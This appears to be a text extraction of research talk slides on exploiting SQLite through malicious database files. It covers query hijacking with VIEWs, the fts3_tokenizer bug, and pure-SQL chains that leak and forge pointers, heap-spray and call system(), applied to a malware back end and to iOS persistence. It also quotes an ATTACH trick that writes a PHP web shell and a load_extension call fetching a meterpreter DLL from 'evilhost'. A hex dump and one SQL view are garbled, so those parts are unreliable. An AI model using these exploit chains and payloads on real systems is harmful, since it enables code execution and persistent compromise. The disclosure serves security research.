SELECT code_execution FROM * USING SQLite;

-- gaining code execution using a malicious SQLite database
whoami

- Omer Gull
- Vulnerability Researcher
- Check Point Research for the past 3 years
- Now at Hunters.AI
Agenda

- Motivation and back story
- SQLite3 Intro
- Examining the attack surface of a malicious DB
- Previous work
- Memory corruptions exploitation using pure SQL
- Query Oriented Programming©
- Demos
- Future work and conclusion
Motivation

• SQLite is one of the most deployed software modules

• Querying an SQLite database is CONSIDERED SAFE

• Spoiler: it’s not
Prologue

• Password stealers!
• A computer gets infected
• Malware collects stored credentials maintained by various clients
• Some client software store your secrets in SQLite databases
• Malware sends SQLite DBs to C2 server
• C2 extracts secrets and stores the loot
How It all Began

- So one day, @Omriher and I were looking at the leaked sources of a notorious password stealer and thought to ourselves
- These guys just harvest a bunch of our DBs and parse them in their back-end
- Can we leverage the load and query of an untrusted database to our advantage?
- Could have much bigger implications in countless scenarios as SQLite is so popular
- And so began the longest CTF challenge
SQLite3

- Unlike most other SQL databases, SQLite does not have a client server architecture.
- SQLite reads and writes directly to files.
- A complete DB with multiple tables, indices, triggers and views is contained in a single file.
Examine the Attack Surface

- `sqlite3_open($FileDB)`
- `sqlite3_query("SELECT...")`

```php
private function processnote($Data) {
    $FileDB = GetTempFile('notezilla');
    if(!file_put_contents($FileDB, $Data))
        return FALSE;

    $db = new SQLite3($FileDB);
    if(!$db)
        return FALSE;

    $Datax = $db->query('SELECT BodyRich FROM Notes');
    $Result = '';
    while($Element = $Datax->fetchArray())
    {
        $Data__ = rtf2text($Element['BodyRich']);
        if(strlen($Data__))
        {
            $Result .= $Data__;
            $Result .= str_pad("", 30, "-")."\r\n";
        }
    }
    $this->insert_downloads(substr($Result, 0, 20).".txt", $Result);
    $db->close();
    $db = $Datax = $Result = NULL;
    @unlink($FileDB);
}
```
The Attack Surface:
sqlite3_open()

- Setup and configuration code
- Straight-forward header parsing
- Header is 100 bytes long
- Fuzzed to death by AFL
- Not a very promising path to pursue :(
The Attack Surface:
sqlite3_query(“SELECT…”)
sqlite_master schema

- Every SQLite database has an sqlite_master table that defines the schema for the database

```sql
CREATE TABLE sqlite_master (
    type TEXT,
    name TEXT,
    tbl_name TEXT,
    rootpage INTEGER,
    sql TEXT
);
```

- sql is the DDL describing the object
Data Definition Language

- DDL commands are like header files in C
- Used to define the structure, names and types within a database
- Appears in plain-text within a file
Data Definition Language

```bash
➜ /tmp sqlite3 hello_world.db
SQLite version 3.24.0 2018-06-04 14:10:15
Enter ".help" for usage hints.
sqlite> CREATE TABLE my_table (col_a TEXT, col_b TEXT);
sqlite> INSERT INTO my_table VALUES ('hello', 'world');
sqlite> .quit
➜ /tmp xxd -a hello_world.db
00000000: 5351 4c69 7465 2066 6f72 6d61 7420 3300  SQLite format 3.
00000010: 1000 0100 0002 0002 0000 0000 0001 0000  ........@ .......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 002e 2480 0d00 0000 010f b400 0fb4 0000  ..$............
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 4a01 0617 1d1d 0169 7461 626c  ....J......itabl
00000090: 656d 795f 7461 626c 656d 795f 7461 626c  edmymy_table
000000a0: 6502 4352 4541 5445 2054 4142 4c45 206d  eCREATE TABLE m
000000b0: 795f 7461 626c 6520 2863 6f6c 5f61 2054  y_table (col_a T
000000c0: 4558 542c 2063 6f6c 5f62 2054 4558 5429  EXT, col_b TEXT)
000000d0: 0d00 0000 010f f100 0ff1 0000 0000 0000  ..........00000000
000000e0: 0000fb0: 0000 0000 4a01 0617 1d1d 0169 7461 626c  ....J......itabl
000000f0: 656d 795f 7461 626c 656d 795f 7461 626c  edmym_table
00000100: 6502 4352 4541 5445 2054 4142 4c45 206d  eCREATE TABLE m
00000110: 795f 7461 626c 6520 2863 6f6c 5f61 2054  y_table (col_a T
00000120: 4558 542c 2063 6f6c 5f62 2054 4558 5429  EXT, col_b TEXT)
00000130: 0d00 0000 010f f100 0ff1 0000 0000 0000  ..........00000000
00000140: 00001ff0: 000d 0103 1717 6865 6c66 6f77 6f72 6c64  ....hello
```
Back to Query Preparation

- `sqlite3LocateTable()` attempts to find the structure describing the table we are interested in querying.
- Reads the schema available in `sqlite_master`.
- If this is the first time doing it, it will also have a callback function for every DDL statement.
- The callback validates the DDL and builds the internal data structures of the object.
DDL Patching

• Can we just replace the SQL query within the DDL?

```c
int sqlite3InitCallback(void *pInit, int argc, char **argv, char **NotUsed){
    InitData *pData = (InitData*)pInit;
    sqlite3 *db = pData->db;
    int iDb = pData->iDb;
    ...
    if (argv==0) return 0; /* Might happen if EMPTY_RESULT_CALLBACKS are on */
    if (argv[1]==0){
        corruptSchema(pData, argv[0], 0);
    }else if( sqlite3_strnicmp(argv[2],"create ",7)==0 ){
        int rc;
        ...
        TESTONLY(rcp = ) sqlite3_prepare(db, argv[2], -1, &Stmt, 0);
    }
}
```
CREATE

- Still leaves some room for flexibility
CREATE VIEW

- VIEW is simply a pre-packaged SELECT statement
- VIEWs are queried similarly to TABLEs

```
SELECT col_a FROM my_table == SELECT col_a FROM my_view
```
Query Hijacking

- Patch sqlite_maser's DDL with a VIEW instead of TABLE
- Our patched VIEW can have any SELECT we wish
- we can now interact with vast parts of the SQLite interpreter using our SELECT sub-query
Query Hijacking Example

- The original database had a single TABLE

```sql
CREATE TABLE dummy (
    col_a TEXT,
    col_b TEXT
);
```

- Target software would query it with the following

```sql
SELECT col_a, col_b FROM dummy;
```

- The following VIEW can hijack this query

```sql
CREATE VIEW dummy(cola, colb) AS SELECT (<sub-query-1>), (<sub-query-2>);
```
Query Hijacking Example

- We just gained control over the query
- What can we do with it?
Previous Work
SQL Injection

- A couple of known SQLi tricks in SQLite

```
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<? system($_GET['cmd']); ?>');--
```

- Can’t ATTACH, DDL must begin with “CREATE “

```
SELECT load_extension('evilhost\evilshare\meterpreter.dll','DllMain');--
```

- Disabled by default :(

Credit: http://atta.cked.me/home/sqlite3injectioncheatsheet
Memory Corruptions and SQLite

- SQLite is written in C
- “Finding bugs in SQLite, the easy way”
- 22 bugs in 30 minutes of fuzzing

```sql
CREATE VIRTUAL TABLE t0 USING fts4(x, order=DESC);
INSERT INTO t0(docid, x) VALUES(-1E0, '0(o');
INSERT INTO t0 VALUES('');
INSERT INTO t0 VALUES('');
INSERT INTO t0 VALUES('o');
SELECT docid FROM t0 WHERE t0 MATCH '"o"';
```

Memory Corruptions and SQLite

• Interestingly, since version 3.8.10 (2015) SQLite started using AFL as an integral part of their remarkable test suite

• These memory corruptions proved to be difficult to exploit without a convenient environment

• The Security research community soon found the perfect target
WebSQL For Developers

• Web page API for storing data in databases
• Queried using Javascript
• SQLite backend
• Available in Chrome and Safari

```javascript
var db = openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024);

db.transaction(function (tx) {
    tx.executeSql('CREATE TABLE IF NOT EXISTS LOGS (id unique, log)');
    tx.executeSql('INSERT INTO LOGS (id, log) VALUES (1, "foobar")');
    tx.executeSql('INSERT INTO LOGS (id, log) VALUES (2, "logmsg")');
});
```
WebSQL For Attackers

- Untrusted input into SQLite
- Reachable from any website
- A couple of the world’s most popular browsers
- Bugs could be leveraged with the comfort of a Javascript interpreter
WebSQL - Attacks

• Several impressive researches have been published
  
  • From low hanging fruits like CVE-2015-7036
    - untrusted pointer dereference fts3_tokenizer()
  
• To more complex exploits presented in Blackhat 2017 by Chaitin
  
  • Type confusion in fts3OptimizeFunc()

• And the recent Magellan bugs found by Tencent
  
  • Integer overflow in fts3SegReaderNext()
FTS?

Either fuck this shit or fuck that shit, depending on the situation.

Today sucks, FTS (fuck this shit)

I'm not going to work, FTS (fuck that shit)

#fts #fst #tfs #tsf #sft #stf

by tBarge December 09, 2007

Get a fts mug for your Aunt Nathalie.
Full Text Search

- Virtual table module
- Textual searches on a set of documents

“Like Google for your SQLite database”
Virtual Tables

• Plenty of cool functionalities: FTS, RTREE, CSV

• From the perspective of an SQL statement, the virtual table object looks like any other table or view

• Behind the scenes, dark magic happens
  - Queries and updates invoke callback methods on shadow tables
Shadow Tables

CREATE VIRTUAL TABLE vt USING FTS3 (content TEXT);

INSERT INTO vt VALUES('Hello world');
RTREE Bug

- RTREE virtual table
- Compiled with SQLite in MacOS, iOS and Windows 10
- Geographical indexing

```sql
CREATE VIRTUAL TABLE demo_index USING rtree(
id, --integer
X,
Y
);
```

- So RTREE interfaces would expect id to be an integer

```sql
CREATE VIRTUAL TABLE vt USING RTREE(id, X, Y);
INSERT INTO vt VALUES('Definitely not an int', 1, 2);
SELECT rtreenode(2, id) FROM vt;
```
Now Also Available In Windows 10: CVE-2019-8457
Scriptless Exploitation?

- Virtual tables has bugs
- Using query hijacking we can trigger them at the C2 and cause a **SEGFAULT**
- Gaining flow control requires some form of scripting
- We don’t have JS
- We vaguely recall hearing somewhere that SQL is turing complete
My Exploitation Primitives
Wish-list

- Leaking memory
- Unpacking of 64-bit pointers
- Pointer arithmetics
- Packing of 64-bit pointers
- Crafting complex fake objects in memory
- Heap Spray
Exploitation With Pure SQL
Query Oriented Programming ©
QOP by Example:
The Unfixed CVE-2015-7036

• WAT? How come a 4 year old bug is still unfixed
  - It was only ever considered dangerous in the context of untrusted webSQL
• blacklisted unless compiled with ENABLE_FTS_TOKENIZER
• Still vulnerable:
  - PHP5
  - PHP7
  - iOS
  - MacOS
  - ...

CVE-2015-7036

- A Tokenizer is a set of rules for extracting terms from a document or a query.
- The default Tokenizer “simple” just splits strings by whitespaces.
- Custom tokenizers can be registered with `fts3_tokenizer()` in an SQL query.
CVE-2015-7036

- `fts3_tokenizer()` is an overloaded function:

  ```
  sqlite> SELECT fts3_tokenizer('simple');
  ?=1V
  sqlite> SELECT hex(fts3_tokenizer('simple'));
  80A63DDB31560000
  ```

  ```
  sqlite> SELECT fts3_tokenizer('simple', x'4141414141414141');
  sqlite> CREATE VIRTUAL TABLE vt USING fts3 (content TEXT);
  Segmentation fault
  ```
RECAP

• SQLite is a wonderful one-shot for many targets

• Complex machine written in C

• Query Hijacking can trigger bugs

• We aim to write a full exploit implementing all necessary primitives with SQL queries
Exploitation Game Plan

- Leak some pointers
- Calculate functions addresses
- Create a fake tokenizer object with some pointers to system()
- Spray fake tokenizer
- Override the default tokenizer function pointer
- Trigger our malicious tokenizer
- ???
- Grab your grandma’s Yahoo password
• Libsqlite leak

```sql
sqlite3> SELECT SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -2, 2) ||
    SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -4, 2) ||
    SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -6, 2) ||
    SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -8, 2) ||
    SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -10, 2) ||
    SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -12, 2) ||
    SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -14, 2) ||
    SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -16, 2);
+-----------------------------------------------------------------+
| 00007F3D3254A8E0                                                |
+-----------------------------------------------------------------+
```

• Heap leak

```sql
sqlite3> CREATE VIRTUAL TABLE vt USING FTS3(content TEXT);
sqlite3> INSERT INTO vt values('some text');
sqlite3> SELECT hex(vt) FROM vt WHERE content MATCH 'text';
+---------------------+
| 08C453FF88550000     |
+---------------------+
```
My Exploitation Primitives Wish-list

- Leaking memory
- Unpacking of 64-bit pointers
- Pointer arithmetics
- Packing of 64-bit pointers
- Crafting complex fake objects in memory
- Heap Spray
Pseudo-variables

• Unlike browser WebSQL exploitation, no JS variables and arrays to use
• We can only CREATE TABLE || VIEW || INDEX || TRIGGER
• Chaining VIEWs together we can use them as pseudo-variables

```sql
sqlite3> CREATE VIEW le_leak AS SELECT hex(fts3_tokenizer("simple")) AS col;
sqlite3> CREATE VIEW leak AS SELECT SUBSTR((SELECT col FROM le_leak), -2, 2)||
    SUBSTR((SELECT col FROM le_leak), -4, 2)||
    SUBSTR((SELECT col FROM le_leak), -6, 2)||
    SUBSTR((SELECT col FROM le_leak), -8, 2)||
    SUBSTR((SELECT col FROM le_leak), -10, 2)||
    SUBSTR((SELECT col FROM le_leak), -12, 2)||
    SUBSTR((SELECT col FROM le_leak), -14, 2)||
    SUBSTR((SELECT col FROM le_leak), -16, 2) AS col;
sqlite3> SELECT col FROM leak;
+------------------+
| 00007F3D3254A8E0 |
+------------------+
```
Unpacking of 64-bit pointers

- To calculate the base of an image or the heap we have to convert our pointers to integers

```sql
CREATE VIEW u64_leak AS SELECT (SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -1, 1)) - 1) * (1 << 0)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -2, 1)) - 1) * (1 << 4)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -3, 1)) - 1) * (1 << 8)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -4, 1)) - 1) * (1 << 12)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -5, 1)) - 1) * (1 << 16)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -6, 1)) - 1) * (1 << 20)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -7, 1)) - 1) * (1 << 24)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -8, 1)) - 1) * (1 << 28)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -9, 1)) - 1) * (1 << 32)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -10, 1)) - 1) * (1 << 36)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -11, 1)) - 1) * (1 << 40)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -12, 1)) - 1) * (1 << 44)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -13, 1)) - 1) * (1 << 48)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -14, 1)) - 1) * (1 << 52)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -15, 1)) - 1) * (1 << 56)) +
(SELECT instr("0123456789ABCDEF", substr(SELECT col FROM leak), -16, 1)) - 1) * (1 << 60)) ) AS col;
```

My Exploitation Primitives Wish-list

- Leaking memory
- Unpacking of 64-bit pointers
- Pointer arithmetics
- Packing of 64-bit pointers
- Crafting complex fake objects in memory
- Heap Spray
• With integers at hand pointer arithmetics is simple

```sql
sqlite3> CREATE VIEW u64_libsqlite_base AS SELECT (SELECT col FROM u64_leak) - (SELECT '3164384') as col;
sqlite3> SELECT col FROM u64_libsqlite_base;
+-----------------+
| 140713244319744 |
+-----------------+
```
My Exploitation Primitives Wish-list

- Leaking memory
- Unpacking of 64-bit pointers
- Pointer arithmetics
- Packing of 64-bit pointers
- Crafting complex fake objects in memory
- Heap Spray
Packing of 64-bit pointers

- Write back manipulated pointers
- `char()`
• Oh right! our exploit is actually a DB!

• We can prepare a key-value table in advanced while generating the DB and use sub-queries

```python
def gen_int2hex_map():
    conn.execute("CREATE TABLE hex_map (int INTEGER, val BLOB);")
    for i in range(0xFF):
        conn.execute("INSERT INTO hex_map VALUES ({}, x'{}');".format(i, "".join('%02x' % i)))
```

• Our conversion with sub-queries

```
sqlite3> CREATE VIEW p64_libsqlite_base AS SELECT cast(
    (SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 0)) % 256)) ||
    (SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 8)) % 256)) ||
    (SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 16)) % 256)) ||
    (SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 24)) % 256)) ||
    (SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 32)) % 256)) ||
    (SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 40)) % 256)) ||
    (SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 48)) % 256)) ||
    (SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 56)) % 256))
    as blob) as col;
```
My Exploitation Primitives Wishlist

- Leaking memory
- Unpacking of 64-bit pointers
- Pointer arithmetics
- Packing of 64-bit pointers
- Crafting complex fake objects in memory
- Heap Spray
Crafting Complex Objects in Memory

- Writing a single pointer is definitely useful but not enough
- Faking objects <3
- Recall that `fts3_tokenizer()` requires us to assign a tokenizer module

```c
struct sqlite3_tokenizer_module {
    int iVersion;
    int (*xCreate)(int argc, const char *const argv,
                   sqlite3_tokenizer **ppTokenizer);
    int (*xDestroy)(sqlite3_tokenizer *pTokenizer);
    int (*xOpen)(sqlite3_tokenizer *pTokenizer,
                 const char *pInput, int nBytes,
                 sqlite3_tokenizer_cursor **ppCursor);
    ...
};
```
Fake Object Example

- JOIN queries

```sql
sqlite3> CREATE VIEW fake_tokenizer AS SELECT x'4141414141414141' ||
               p64_simple_create.col ||
               p64_simple_destroy.col ||
               x'4242424242424242' FROM p64_simple_create
               JOIN p64_simple_destroy;
```

- Verifying it with a debugger

```
pwndbg> telescope 0x7af868
00:0000  0x7af868 ← 0x41414141414141 ('AAAAAAAA')
01:0008  0x7af870 → 0x4ea424 (simpleCreate) ← push rbp
02:0010  0x7af878 → 0x4ea52e (simpleDestroy) ← push rbp
03:0018  0x7af880 ← 0x4242424242424242 ('BBBBBBBB')
```
My Exploitation Primitives Wish-list

• Leaking memory
• Unpacking of 64-bit pointers
• Pointer arithmetics
• Packing of 64-bit pointers
• Crafting complex fake objects in memory
• Heap Spray
Heap Spray

• We have our malicious tokenizer

• We know where the heap is located but not sure exactly where our tokenizer is

• Time for some Heap Spray

• Ideally some repetitive form of our “fakeobj” primitive

• `REPEAT()`
  - Sadly, SQLite did not implement it like MySQL
• `zeroblob(N)` function returns a BLOB consisting of N bytes

• `replace(X, Y)` to replace every X with Y

```
sqlite3> SELECT replace(hex(zeroblob(10000)), "00", x'4141414141414141' ||
          p64_simple_create.col ||
          p64_simple_destroy.col ||
          x'4242424242424242') FROM p64_simple_create
          JOIN p64_simple_destroy;
```

repetition every 0x20 bytes
My Exploitation Primitives Wish-list

- Leaking memory
- Unpacking of 64-bit pointers
- Pointer arithmetics
- Packing of 64-bit pointers
- Crafting complex fake objects in memory
- Heap Spray
class Module_notezilla extends Module_
{
    private function processnote($Data)
    {
        $FileDB = GetTempFile('notezilla');

        if(!file_put_contents($FileDB, $Data))
            return FALSE;

        $db = new SQLite3($FileDB);

        if(!$db)
            return FALSE;

        $Datax = $db->query('SELECT BodyRich FROM Notes');
QOP Chaining

CREATE VIEW Notes AS SELECT (( SELECT * FROM heap_spray) +
(SELECT * FROM override_simple_tokenizer) +
(SELECT * FROM trigger_malicious_tokenizer)) AS BodyRich;

CREATE VIEW heap_spray AS SELECT replace(hex(zeroblob(10000)), "00", x'4141414141414141'||
p64_simple_create.col ||
p64_simple_destroy.col ||
p64_system.col) FROM p64_simple_create JOIN
p64_simple_destroy JOIN
p64_system;

CREATE VIEW p64_simple_create AS SELECT cast(
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / 1) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 8)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 16)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 24)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 32)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 40)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 48)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_simple_create) / (1 << 56)) % 256)) as blob) as col;
QOP Chaining
The Party Goes On

CREATE VIEW u64_simple_create AS SELECT ((SELECT col FROM u64_libsqlite_base) + (SELECT '959524')) AS col;

CREATE VIEW u64_libsqlite_base AS SELECT ((SELECT col FROM u64_leak) - (SELECT '3164384')) AS col;

CREATE VIEW u64_leak AS SELECT (
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -1, 1)) - 1) * (1 << 0)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -2, 1)) - 1) * (1 << 4)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -3, 1)) - 1) * (1 << 8)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -4, 1)) - 1) * (1 << 12)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -5, 1)) - 1) * (1 << 16)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -6, 1)) - 1) * (1 << 20)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -7, 1)) - 1) * (1 << 24)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -8, 1)) - 1) * (1 << 28)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -9, 1)) - 1) * (1 << 32)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -10, 1)) - 1) * (1 << 36)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -11, 1)) - 1) * (1 << 40)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -12, 1)) - 1) * (1 << 44)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -13, 1)) - 1) * (1 << 48)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -14, 1)) - 1) * (1 << 52)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -15, 1)) - 1) * (1 << 56)) +
  (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -16, 1)) - 1) * (1 << 60)))
) AS col;
QOP Chaining
Turtles all the way Down

CREATE VIEW leak AS SELECT SUBSTR((SELECT col FROM le_leak), -2, 2)||
    SUBSTR((SELECT col FROM le_leak), -4, 2)||
    SUBSTR((SELECT col FROM le_leak), -6, 2)||
    SUBSTR((SELECT col FROM le_leak), -8, 2)||
    SUBSTR((SELECT col FROM le_leak), -10, 2)||
    SUBSTR((SELECT col FROM le_leak), -12, 2)||
    SUBSTR((SELECT col FROM le_leak), -14, 2)||
    SUBSTR((SELECT col FROM le_leak), -16, 2) AS col;

CREATE VIEW le_leak AS SELECT hex(fts3_tokenizer("simple")) AS col;
Me Describing QOP Chains
import qop
my_first_qop = []
my_first_qop.appended(bin_leak())
my_first_qop.appended(u64('u64_bin_leak', 'bin_leak'))
my_first_qop.appended(math_with_const('u64_libsqlite_base', 'u64_bin_leak', '-', SIMPLE_MODULE_OFFSET))
my_first_qop.appended(p64('p64_bin_leak', 'u64_bin_leak'))
Owning A Password Stealer Backend (PHP7)
<table>
<thead>
<tr>
<th>Bot Guid</th>
<th>Bin ID</th>
<th>IP Address</th>
<th>PC Information</th>
<th>Last Online</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>BC0E8F9AEB31Z1DFD4CD9CB1</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Mo-PC KitaMio</td>
<td>2019-05-05 12:51:15 (10 s)</td>
<td>Set</td>
</tr>
<tr>
<td>C14097D19298B6CF18DB99B2E</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:51:02 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>6431A95AF8707290DD4F3B15</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>10.0.0.100</td>
<td>2019-05-05 12:51:02 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>ECFEBDCC0891FAB4EF23BB</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Mo-PC KitaMio</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>70C6E992068AC6A20D92B30</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>90E4A768F212F8B086F8F53F3F2D</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>854FA116F288D3625D4E244A3E</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>2808D85212CA6BDE93C429C</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>A142320E33330D9B21F</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>4F548673DA2B8CA329D56F955</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>8E2211F6F08F3F2FDA558BD</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>6C2856564030BCC27C92C1</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>EOSA81F520D48A5C7918E</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>CE26430D12F232BB3C642F91</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>EC3B3C6D509A408C7EB3AC</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>9AC05C29ED30678D8CF18A8CF</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>C89E40282E24251C3E8F6B</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>7AD6F016EEC71622480F559</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
<tr>
<td>C8BDEDCBC5C8D8B5F4</td>
<td>132.133.133.133</td>
<td>133.133.133.133</td>
<td>Windows 10</td>
<td>2019-05-05 12:50:43 (1 minute)</td>
<td>Set</td>
</tr>
</tbody>
</table>
• Given SQLite popularity this opens up possibilities to a wide range of attacks

• Let’s explore another use-case
Next Target: iOS Persistency

- iOS uses SQLite extensively
- Persistency is hard to achieve on iOS as all executable files have to be signed
- SQLite databases are not signed
- iOS (and MacOS) are both compiled with ENABLE_FTS3_TOKENIZER.
- We have a solid methodology for Query Hijacking
- Re-gaining code execution after reboot by replacing an SQLite DB
## Malicious Contacts DB

**AddressBook.sqlitedb**

<table>
<thead>
<tr>
<th>Table Name</th>
<th>SQL Statement</th>
</tr>
</thead>
<tbody>
<tr>
<td>ABMultiValueLabel</td>
<td><code>CREATE TABLE ABMultiValueLabel (value TEXT, UNIQUE(value))</code></td>
</tr>
<tr>
<td>ABMultiValueEntryKey</td>
<td><code>CREATE TABLE ABMultiValueEntryKey (value TEXT, UNIQUE(value))</code></td>
</tr>
</tbody>
</table>

**AddressBook.sqlitedb.pwn**

<table>
<thead>
<tr>
<th>Table Name</th>
<th>SQL Statement</th>
</tr>
</thead>
<tbody>
<tr>
<td>override</td>
<td><code>CREATE VIEW override AS SELECT fts3_tokenizer('simple', x'4141414141414141');</code></td>
</tr>
<tr>
<td>crash</td>
<td><code>CREATE VIRTUAL TABLE crash USING FTS3(col, tokenize='simple');</code></td>
</tr>
<tr>
<td>ABMultiValueLabel</td>
<td><code>CREATE VIEW ABMultiValueLabel (value) AS SELECT ((SELECT * FROM override)+ (SELECT * FROM crash))</code></td>
</tr>
<tr>
<td>ABMultiValueEntryKey</td>
<td><code>CREATE VIEW ABMultiValueEntryKey (value) AS SELECT ((SELECT * FROM override)+ (SELECT * FROM crash))</code></td>
</tr>
</tbody>
</table>
Reboot and...
Secure Boot Bypassed
CVE-2019-8577

Incident Identifier: 378D2096-CF78-4BE8-8C06-D7F620D406A8
CrashReporter Key: 8051c945037c6995e923dfdc9f396854854978e3
Hardware Model: iPhone10,4
Process: Contacts [3453]
Path: /private/var/containers/Bundle/Application/965390C8-7936-4F79-BEE5-C47BF14B80EB/Contacts.app/Contacts
